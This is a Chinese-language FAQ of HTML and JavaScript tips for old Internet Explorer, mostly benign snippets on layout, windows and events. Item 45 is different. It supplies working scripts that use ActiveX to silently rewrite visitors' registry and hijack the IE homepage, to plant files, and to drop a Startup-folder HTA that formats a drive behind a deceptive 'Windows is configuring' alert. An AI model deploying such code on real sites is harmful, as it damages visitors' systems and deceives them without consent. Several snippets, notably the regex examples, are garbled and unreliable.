1.怎樣才能把RealPlayer文件在網(wǎng)頁(yè)做一個(gè)試聽(tīng)連接?
<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="PlayButton">
2.請(qǐng)問(wèn)如何去掉IE的上下滾動(dòng)條?
<body style='overflow:scroll;overflow-y:hidden'>
</body>
3.如何在打開(kāi)頁(yè)面的時(shí)候,輸入表單就獲得焦點(diǎn)?
如果表單沒(méi)有名字可以用document.forms[index]數(shù)組訪問(wèn) 如果表單項(xiàng)沒(méi)有名字可以用document.forms[index].elements[index]數(shù)組訪問(wèn) 這里index是整數(shù) 比如:
<form>
<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表單1,第一個(gè)表單項(xiàng)';">
</form>
<form name="form2">
<input type="text" value="" onclick ="document.form2.elements[0].value='我是表單2,第一個(gè)表單項(xiàng)';">
</form>
<form name="form3">
<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表單3,第一個(gè)表單項(xiàng)';">
</form>
4.解釋一下event.X和event.clientX有什么區(qū)別?
event.clientX返回事件發(fā)生時(shí),mouse相對(duì)于客戶窗口的X坐標(biāo)
event.X也一樣
但是如果設(shè)置事件對(duì)象的定位屬性值為relative
event.clientX不變
而event.X返回事件對(duì)象的相對(duì)于本體的坐標(biāo)
event代表事件的狀態(tài),例如事件發(fā)生的的元素、鼠標(biāo)的位置等等,event對(duì)象只在事件過(guò)程中才有效。
event屬性:
altKey
檢索ALT鍵的當(dāng)前狀態(tài)
可能的值 true為關(guān)閉
false為不關(guān)閉
button
檢索按下的鼠標(biāo)鍵
可能的值: 0 沒(méi)按鍵
1 按左鍵
2 按右鍵
3 按左右鍵
4 按中間鍵
5 按左鍵和中間鍵
6 按右鍵和中間鍵
7 按所有的鍵
cancelBubble
設(shè)置或檢索當(dāng)前事件是否將事件句柄起泡
可能的值: false 啟用起泡
true 取消該事件起泡
clientX
檢索與窗口客戶區(qū)域有關(guān)的鼠標(biāo)光標(biāo)的X坐標(biāo),屬性為只讀,沒(méi)有默認(rèn)值。
clientY
檢索與窗口客戶區(qū)域有關(guān)的鼠標(biāo)光標(biāo)的Y坐標(biāo),屬性為只讀,沒(méi)有默認(rèn)值。
ctrlKey
ctrlKey 檢索CTRL鍵的當(dāng)前狀態(tài)
可能的值 true為關(guān)閉
false為不關(guān)閉
dataFld
檢索被oncellchange事伯影響的列
aTransfer
為拖放操作提供預(yù)先定義的剪貼板式。
Element
檢索在onmouseover和onmouseout事件期間退出的對(duì)象指針
keyCode
設(shè)置或檢索與引發(fā)事件的關(guān)鍵字相關(guān)聯(lián)的Unicode關(guān)鍵字代碼
該屬性與onkeydown onkeyup onkeypress一起使用
如果沒(méi)有引發(fā)事件的關(guān)鍵字,則該值為0
offsetX
檢索與觸發(fā)事件的對(duì)象相關(guān)的鼠標(biāo)位置的水平坐標(biāo)
offsetY
檢索與觸發(fā)事件的對(duì)象相關(guān)的鼠標(biāo)位置的垂直坐標(biāo)
propertyName
檢索在對(duì)象上己更改的特性的名稱(chēng)
reason
檢索數(shù)據(jù)源對(duì)象數(shù)據(jù)傳輸?shù)慕Y(jié)果
可能的值:
0 數(shù)據(jù)傳輸成功
1 數(shù)據(jù)傳輸失敗
2 數(shù)據(jù)傳輸錯(cuò)誤
recordset
檢索數(shù)據(jù)源對(duì)象中默認(rèn)記錄集的引用
該特性為只讀
repeat
檢索一個(gè)事件是否被重復(fù)
該屬性只有在onkeydown事件重復(fù)時(shí)才返回true
returnValue
設(shè)置或檢索從事件中返回的值
可能的值:
true 事件中的值被返回
false 源對(duì)象上事件的默認(rèn)操作被取消
screenX
檢索與用戶屏相關(guān)的鼠標(biāo)的水平位置
screenY
檢索與用戶屏相關(guān)的鼠標(biāo)的垂直位置
shiftKey
檢索shiftKey鍵的當(dāng)前狀態(tài)
可能的值 true為關(guān)閉
false為不關(guān)閉
srcElement
檢索觸發(fā)事件的對(duì)象
srcFilter
檢索導(dǎo)致onfilterchange事件觸發(fā)的過(guò)濾器對(duì)象
srcUm
檢索觸發(fā)事件行為的同一資源名稱(chēng)
除非下面兩個(gè)條件都為真,否則該特性被設(shè)置為null
1.行為被附加到觸發(fā)事件的要素上
2.在前面的項(xiàng)目符號(hào)中定義的行為己指定了一個(gè)URN標(biāo)識(shí)符和己觸發(fā)的事件
toElement
檢索作為onmouseover或者onmouseout事件結(jié)果而移動(dòng)的對(duì)象
type
檢索事件對(duì)象中的事件名稱(chēng)
x
檢索相對(duì)于父要素鼠標(biāo)水平坐標(biāo)的整數(shù)
y
檢索相對(duì)于父要素鼠標(biāo)垂直坐標(biāo)的整數(shù)
5.請(qǐng)問(wèn)如何讓網(wǎng)頁(yè)自動(dòng)刷新?
在head部記入<META HTTP-EQUIV="Refresh" content="20">其中20為20秒后自動(dòng)刷新,你可以更改為任意值。
6.如何讓一個(gè)窗口永遠(yuǎn)在最上面?
<a onclick=aa()>點(diǎn)這里</a>
<script language='javascript'>
function aa(){
y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");
}
</script>
7.如何實(shí)現(xiàn)虛線邊框?
<html>
<head>
<title>虛線</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td style="border-top-style:dashed ;"> </td>
</tr>
</table>
</body>
</html>
[/html]
還可以把dashed換成dotted | solid | double | groove | ridge | inset | outset 等等樣式,還可以在style里指定顏色:border-color:#??????
[html]<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>New Page 1</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body>
<table border="1" width="100%" style="border: 1px dashed">
<tr>
<td width="50%"> </td>
<td width="50%"> </td>
</tr>
<tr>
<td width="50%"> </td>
<td width="50%"> </td>
</tr>
<tr>
<td width="50%"> </td>
<td width="50%"> </td>
</tr>
</table>
</body>
</html>
[/html]
[html]<html>
<body>
<table>
<tr>
<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有這樣才行嗎?</td>
</tr>
<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>
<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,這樣出來(lái)的虛線邊框是斷斷續(xù)續(xù)的。</td></tr></table>
</body></html>
8.如何用html實(shí)現(xiàn)瀏覽器上后退按鈕的功能?
<a href="javascript:history.go(-1)">點(diǎn)擊后退</a>
或者
<script> history.back() </script>
9.表單中如何用圖片按鈕實(shí)現(xiàn) reset?
<html>
<head>
<script>
function aaa(){
document.forms[0].reset()
}
</script>
</head>
<body>
<form>
<textarea rows="2" name="S1" cols="20"></textarea>
<input type="submit" value="提交" name="B1">
<image src="logo.gif" onclick=aaa()>
</form>
</body></html>
10.怎樣去掉圖片鏈接點(diǎn)擊后,圖片周?chē)奶摼€?
onFocus="if(this.blur)this.blur()" blur: 使物件失焦... 當(dāng)你點(diǎn)擊圖片鏈接時(shí) 圖片鏈接得到焦點(diǎn)(Focus) 就會(huì)出現(xiàn)虛線(提示你這個(gè)圖片得到焦點(diǎn)了) 用blur能使之失焦 簡(jiǎn)單一點(diǎn)的語(yǔ)法 onFocus="this.blur()"
11.如何去掉網(wǎng)頁(yè)連接的下劃線?
<head>
<style type="text/css">
<!--
A { text-decoration: none}
-->
</style>
</head>
<a href=http://www.51js.com>一個(gè)連接</a>
12.請(qǐng)問(wèn)怎么在網(wǎng)頁(yè)中改變鼠標(biāo)的箭頭形狀?
<body>
<a href="#" style="cursor: auto;">auto</a><br/>
<a href="#" style="cursor: crosshair ">crosshair </a><br/>
<a href="#" style="cursor: default ">default </a><br/>
<a href="#" style="cursor: hand ">hand </a><br/>
<a href="#" style="cursor: move ">move </a><br/>
<a href="#" style="cursor: e-resize ">e-resize </a><br/>
<a href="#" style="cursor: ne-resize ">ne-resize </a><br/>
<a href="#" style="cursor: nw-resize">nw-resize</a><br/>
<a href="#" style="cursor: n-resize">n-resize</a><br/>
<a href="#" style="cursor: se-resize">se-resize</a><br/>
<a href="#" style="cursor: sw-resize">sw-resize</a><br/>
<a href="#" style="cursor: s-resize">s-resize</a><br/>
<a href="#" style="cursor: w-resize">w-resize</a><br/>
<a href="#" style="cursor: text">text</a><br/>
<a href="#" style="cursor: wait">wait</a><br/>
<a href="#" style="cursor: help">help</a><br/>
</body>
13.target="_blank"規(guī)定鏈接在新窗口中打開(kāi),那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?
target="_parent"、上一層框架
target="_self" 、自身窗口、框架
target="_top" 最頂層框架。
更細(xì)點(diǎn)的解釋?zhuān)瑥目棄?mèng)補(bǔ)給網(wǎng)找來(lái)的:
_blank
開(kāi)啟一個(gè)新的視窗,而且是沒(méi)有命名的視窗。
_self
強(qiáng)迫連結(jié)的結(jié)果顯示在同一個(gè)子畫(huà)面,而忽略 BASE 的設(shè)定。
_parent
在該子畫(huà)面的「父畫(huà)面」(也就是上一層的 FRAMESET)中顯示連結(jié)的結(jié)果。
_top
從視窗的最上頭開(kāi)始顯示畫(huà)面;換句話說(shuō)就是先清除整個(gè)視窗後再載入連結(jié)
14.如何使網(wǎng)友收藏本網(wǎng)時(shí),收藏夾顯示的不是微軟的那個(gè)一成不變的標(biāo)志,而是本人選擇的ICON?
<LINK href="fav.ico" rel="shortcut icon">
加入HADE標(biāo)簽中,圖片放入根目錄下,須是.ico格式.
有的空間不支援直接放在根目錄
必須加上
<LINK href="路徑/圖檔.ico" rel="shortcut icon">
15.請(qǐng)問(wèn)如何去掉主頁(yè)右面的滾動(dòng)條?
<body scroll="no">
<body style="overflow-y:hidden">
16.怎樣不使用頁(yè)面的緩存?即每一次打開(kāi)頁(yè)面時(shí)不是調(diào)用緩存中的東西
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
17.請(qǐng)問(wèn)如何忽視右鍵?
<body oncontextmenu="return false">
18.怎樣在同一頁(yè)面內(nèi)控制不同鏈接的CSS屬性?
a:active{}
a:link{}
a:visited{}
a.1:active{}
a.1:link{}
a.1:visited{}
在DW4的CSS中定義一個(gè)新的標(biāo)示,按照HTML的語(yǔ)法,超級(jí)連接得是
A.YOURS:LINK A.YOURS:HOVER
YOURS可以改作你自己的字
然后在選中某個(gè)連接后,在CSS面版中點(diǎn)中YOURS即可。
按需要,你可以定義N個(gè)標(biāo)示,N種鼠標(biāo)OVER的效果
19.電子郵件處理提交表單
<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">
<input type=submit>
</form>
20.有沒(méi)有可能用層來(lái)遮住FLASH?
1.在flash的parameters里加入 <param name="wmode" value="transparent">
2.<body onblur=self.focus()>
21.如何根據(jù)屏幕分辨率調(diào)用相對(duì)應(yīng)的頁(yè)面?
先做好幾個(gè)頁(yè)面,比如一個(gè)htm1.htm是800*600,一個(gè)是htm2.htm是1024*768的 然后在你的入口頁(yè)面 index.htm 中判斷:
<html>
<head>
<script language=javascript>
<!--
function mHref() {
if (screen.width == 1024) location.href = "htm2.htm";
else if (screen.width == 800) location.href = "htm1.htm";
else return(false);
}
//-->
</script>
</head>
<body onload="mHref();">
</body>
</html>
22.不用詢問(wèn)就關(guān)閉瀏覽器
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="點(diǎn)擊我關(guān)閉窗口" onclick="closes.Click();">
</body>
23.如何彈出只有狀態(tài)欄的窗口?
<html>
<head>
<title>open() close()</title>
<script language="javascript" type="text/javascript">
<!--
function openWin()
{
var newWin=open("","","menubar=1,height=200");
newWin.document.write("<form>");
newWin.document.write("單擊以下按鈕關(guān)閉窗口:<p>");
newWin.document.write("<input type=button value='關(guān)閉' onclick=window.close()>");
newWin.document.write("</form>");
}
</script></head>
<body>
<div align=center>
<h2>單擊以下按鈕顯示新窗口...</h2>
<form name=form1>
<input type=button value="新窗口1[只顯示地址欄]" onclick=window.open('','new1','location=1')>
<input type=button value="新窗口2[只顯示狀態(tài)欄]" onclick=window.open('','','status=1')>
<input type=button value="新窗口3[只顯示工具欄]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>
<input type=button value="新窗口4[只顯示菜單欄]" onclick=openWin()>
<input type=button value="新窗口5[一個(gè)不少]" onclick=window.open('','new5')>
<input type=button value="新窗口6[光棍但可調(diào)大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>
</form>
</div>
</body>
</html>
24.如何改變iframe的src地址
<body>
<input type="button" value="改變地址" onClick="parent.displayinhere.location.>
<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">
</body>
25.如何讓超鏈接沒(méi)有下劃線
在源代碼中的<HEAD>…</HEAD>之間輸入如下代碼:
<style type="text/css"> <!--
a { text-decoration: none}
--> < /style>
26.頁(yè)面打開(kāi)時(shí)自動(dòng)彈出一個(gè)窗口的代碼怎么寫(xiě)?
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">
</body>
</html>
27.請(qǐng)問(wèn)如何做到讓一個(gè)網(wǎng)頁(yè)自動(dòng)關(guān)閉.
<html>
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body onload="window.setTimeout('closes.Click()',10000)">
這個(gè)窗口會(huì)在10秒過(guò)后自動(dòng)關(guān)閉,而且不會(huì)出現(xiàn)提示. </body>
28.如何讓我的頁(yè)面出現(xiàn)一個(gè)會(huì)講話的小人?Merlin
<HTML>
<HEAD>
<TITLE>默林</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>
<BODY>
<p><OBJECT id=sims classid=CLSID<img src="images/smilies/bigsmile.gif" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>
</OBJECT>
<SCRIPT>
var MerlinID;
var MerlinACS;
sims.Connected = true;
MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);
Merlin = sims.Characters.Character(MerlinID);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("大家好");
Merlin.Play("GestureLeft");
Merlin.Think("我是默林!");
Merlin.Play("Pleased");
Merlin.Think("可愛(ài)嗎?");
Merlin.Play("GestureDown");
Merlin.Speak("哈哈!");
Merlin.Hide();
function LoadLocalAgent(CharID, CharACS){
LoadReq = sims.Characters.Load(CharID, CharACS);
return(true);
}
</SCRIPT>
</p>
<p> </p>
<p>看此效果必須裝有office2000!!!</p>
</BODY>
</HTML>
如果看不到效果或效果有問(wèn)題,請(qǐng)將代碼保存為html文件查看.
這代碼中使用的MSAgent仍然屬于客戶端的控件,在Win98安裝PWS時(shí)可以安裝上一個(gè)叫Merlin的精靈,查查你的系統(tǒng)中有沒(méi)有一個(gè)叫做Merlin.acf的文件,應(yīng)該在一個(gè)叫MSAgent的目錄,記不太清了,有的話才能看到,否則就會(huì)出現(xiàn)下載的提示,在Win2000中已安裝了MSAgent2.0,所以一般都會(huì)正確的顯示出來(lái),還有很多精靈,但之所以選用Merlin因?yàn)榇蟛糠值臋C(jī)器上都有,如果想自己定制的話,可以到微軟去下載一個(gè)叫Character Editor的工具,制作的精靈必須分發(fā)到客戶端才可使用,在微軟站點(diǎn)的MSAgent是在服務(wù)器端的,每個(gè)命令都要到服務(wù)器上去處理,然后發(fā)回相應(yīng)的動(dòng)作圖畫(huà),(不過(guò)至今我還沒(méi)看到過(guò),我們的帶寬本來(lái)就不夠,還有一堆人在下載,哎,真是痛苦!),我還沒(méi)有看到有關(guān)在Server端制作MSAgent的文章,誰(shuí)有的話,可以告訴我一聲。 其中: 用"=number" number是字?jǐn)?shù)/分 例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 還有,找到這句: Merlin.LanguageID = 0x409; 改為0x804 (Simplified Chinese) 改為0x404 (Traditional Chinese) 要用的話最好到微軟去看看它的使用許可協(xié)議,要是被微軟告了可別怪我噢!! 最終用戶許可 http://msdn.microsoft.com/msagent/eula.asp 分發(fā)許可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下載 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 資料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何幾秒后轉(zhuǎn)到別的頁(yè)面?
<META HTTP-EQUIV="Refresh" CONTENT="時(shí)間;URL=地址">
30.在頁(yè)面中如何加入不是滿鋪的背景圖片,拉動(dòng)頁(yè)面時(shí)背景圖不動(dòng)
<html><head>
<STYLE>
body {background-image:url(../bihu/pic/logo.gif);
background-repeat:no-repeat; background-position:center }
</STYLE>
</head>
<body bgproperties="fixed" >
</body>
</html>
31.文本輸入框什么屬性能實(shí)現(xiàn)不可輸入?
<input type="text" name="textfield" disabled>
或者
<input type="text" name="textfield" readonly>
32.怎樣保持layer在最前面,而不被Iframe、Object所覆蓋,有什么解決方法?
只要在Layer中再插Iframe 或 Object 設(shè)z-Index值
<div z-Index:2><object xxx></object></div> # 前面
<div z-Index:1><object xxx></object></div> # 后面
<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>
33.如何讓表格并排?
首先在第一個(gè)表里應(yīng)該這樣寫(xiě): "<table border=0 cellpadding=1 cellspacing=1 align=left>" 這table里最為關(guān)鍵是"align=left"這一句。 然后在第二個(gè)表里也應(yīng)該加上align=left 這樣,你的目的就達(dá)到了。
<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
[/html]
[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>
<br/>還可以排三個(gè)
<br/>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>
34.如何讓兩個(gè)form表單行距之間不出現(xiàn)空格?
這樣寫(xiě) <TABLE><FORM><TR>.......</TR></FORM></TABLE>
35.如何讓頁(yè)面自動(dòng)刷新?
方法一,用refresh
<head>
<meta http-equiv="refresh" content="5">
</head>
5表示刷新時(shí)間
方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>
36.如何給文本連接加上提示語(yǔ)言?
<a href="#" title="我出來(lái)拉">click me</a>
37.英文排版的問(wèn)題:怎么能讓英自動(dòng)排列整齊?
請(qǐng)使用css中的 text-align: justify;
<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">
<tr>
<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br/>
who are you you are a aaa is it comprehention who are you you are a pig is it comprehention
who are you you are a aaa is it comprehention
who are you you are a aaa is it comprehention
</font></td>
</tr>
</table>
38.如何禁止自己的頁(yè)面在別人的框架里打開(kāi)?
把以下代碼加至你的<head>區(qū)
<script>
if (window.top!=self){
window.top.location=self.location
}
</script>
39.在打開(kāi)的子窗口刷新父窗口的代碼里如何寫(xiě)?
window.opener.location.reload()
42.JS正則表達(dá)式replace用法
下述示例腳本使用replace方法來(lái)轉(zhuǎn)換串中的單詞。在替換的文本中,腳本使用全局 RegExp
對(duì)象的$1和$2屬性的值。注意,在作為第二個(gè)參數(shù)傳遞給replace方法的時(shí)候,RegExp對(duì)象的$屬性的名
稱(chēng)。
<SCRIPT LANGUAGE="JavaScript1.2">
re = /(+)(+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
顯示結(jié)果:"Smith, John".
str.replace(re,"$2, $1");這一句,$2,$1是什么意思?
[font color=blue]下面這個(gè)解釋我也不大明白,可否幫我解釋一下,多謝!{/font]
$1, ..., $9屬性
用圓括號(hào)括著的匹配子串,如果有的話。
是RegExp的屬性
靜態(tài),只讀
在JavaScript 1.2, NES 3.0以上版本提供
描述:因?yàn)閕nput是靜態(tài)屬性,不是個(gè)別正則表達(dá)式對(duì)象的屬性。你可以使用RegExp.input 訪問(wèn)該
屬性。
能加上圓括號(hào)的子串的數(shù)量不受限制,但正則表達(dá)式對(duì)象只能保留最后9 條。如果你要訪問(wèn)所有的
圓括號(hào)內(nèi)的匹配字串,你可以使用返回的數(shù)組。
RegExp.$n 保存滿足用圓括號(hào)括起來(lái)的匹配條件的子串
$2是匹配第2個(gè)括號(hào),$1是匹配第1個(gè)括號(hào),對(duì)多層括號(hào)嵌套應(yīng)該如何區(qū)分?而且如果超過(guò)$1~$9的括號(hào)如何匹配?
<script>
var reg=/((+)(+))/;
var str='John Smith';
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>
43.如何實(shí)現(xiàn)首頁(yè)全屏幕顯示?
<html>
<body><script language="javascript">
var coolw=642
var coolh=400
var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,
toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>
44.如何動(dòng)態(tài)改變一個(gè)Object對(duì)象的樣式表風(fēng)格的Class?
<style>
.btn1{
background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className='btn1'">你點(diǎn)我一下我的樣式表就改為使用.btn1了</button>
45.如何用腳本來(lái)修改用戶系統(tǒng)的注冊(cè)表? (★★★★不推薦使用★★★★)
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
//設(shè)置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//設(shè)置Cookie完畢
//設(shè)置主頁(yè)
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");
//修改瀏覽器的標(biāo)題
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已經(jīng)被修改過(guò)了 51JS.COM");
//設(shè)置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "無(wú)憂腳本", "http://www.51js.com");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
格式化硬盤(pán)的,
把啟動(dòng)菜單下的automat.hta刪除即可,這是格式化 a:盤(pán)
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\windows\start menu\Programs\啟動(dòng)\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>
<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>
<SCRIPT LANGUAGE="JAVASCRIPT">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=歡迎你訪問(wèn)無(wú)憂腳本!\請(qǐng)您將在啟動(dòng)文件夾內(nèi)的51js.com.HTM刪除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}
function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>
<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 獲取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一樣的!
46.如何監(jiān)聽(tīng)一個(gè)窗口被關(guān)閉了?
<body onunload="alert('你關(guān)閉了這個(gè)窗口')">
47.什么是innerHTML、outerHTML………還有innerText?
自己用代碼來(lái)體會(huì)一下
<div id=test><table><tr><td>文本<a>鏈接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br/>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br/>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br/>
48.關(guān)于try....catch..的語(yǔ)法捕捉錯(cuò)誤使用例子
try{
可能會(huì)引起錯(cuò)誤的語(yǔ)句
}
catch(表達(dá)式)
{
錯(cuò)誤處理語(yǔ)句
}
例如:
<button onclick=TryDemo()>Try...Catch...Demo</button>
<script>
function TryDemo()
{
try{
var a=b/2;//注意由于b不存在,所以會(huì)引發(fā)一個(gè)異常。
}
catch(e)
{
alert('錯(cuò)誤類(lèi)型:'+e+'錯(cuò)誤信息:'+e.Descrition);
}
}
</script>
49.如何獲得一個(gè)Select中選中option的value?
select.options[select.selectedIndex].value
50.this 和self 有什么區(qū)別,各在哪里用
self指代窗口。 this的情況: 1. 用于元素事件代碼中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function構(gòu)造的類(lèi)。
<script>
function Car(){this.name='Car';};alert(new Car().name);
</script>
51.如何禁止Ctrl+N?
<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>
52.所有dhtml對(duì)象的屬性和方法其實(shí)在你本機(jī)的硬盤(pán)上就有!
查找:dhtmled.ocx
或在delphi/c++builder中import activeX 選dhtmled.ocx
53.window方法列表
發(fā)現(xiàn)經(jīng)常有人問(wèn)一些有關(guān)窗口操作的問(wèn)題,
所以花了些時(shí)間整理出這篇文章,
希望以后不會(huì)再有人問(wèn)這方面的問(wèn)題。
ie里window的method列表
alert(sMsg)
//彈出一個(gè)確認(rèn)消息框
attachEvent(sEvent,pFunction)
//綁定一個(gè)函數(shù)到某個(gè)事件,事件觸發(fā)時(shí)隨機(jī)執(zhí)行其中一個(gè)被綁定的函數(shù)
blur()
//令窗口喪失焦點(diǎn)
clearInterval(iIntervalID)
//清除指定定時(shí)器的關(guān)聯(lián)函數(shù)
clearTimeout(iTimeoutID)
//清除指定延時(shí)器的關(guān)聯(lián)函數(shù)
close()
//關(guān)閉窗口,如果窗口不是用腳本打開(kāi)的,會(huì)彈出確認(rèn)對(duì)話框。
confirm([sMessage])
//彈出“確定/取消”對(duì)話框
createPopup([vArgs])
//創(chuàng)建一個(gè)隱藏的彈出式窗口,vArgs是未來(lái)考慮提供的參數(shù),返回窗口句柄
detachEvent(sEvent,pFunction)
//取消一個(gè)事件的某個(gè)綁定函數(shù)
execScript(sExpression, sLanguage)
//用指定的語(yǔ)言執(zhí)行代碼
focus()
//激活窗口
moveBy(iX,iY)
//用相對(duì)方式移動(dòng)窗口
moveTo(iLeft,iTop)
//用絕對(duì)方式移動(dòng)窗口
navigate(sURL)
//轉(zhuǎn)到指定的連接
open( [sURL] [, sName] [, sFeatures] [, bReplace])
//打開(kāi)新窗口,并返回窗口句柄
//sName=(*_blank:打開(kāi)一個(gè)新的未命名窗口;_parent:在父窗口中打開(kāi);_search:同時(shí)打開(kāi)搜索窗口;_self:替換本窗口; _top:在頂級(jí)窗口里打開(kāi);*)
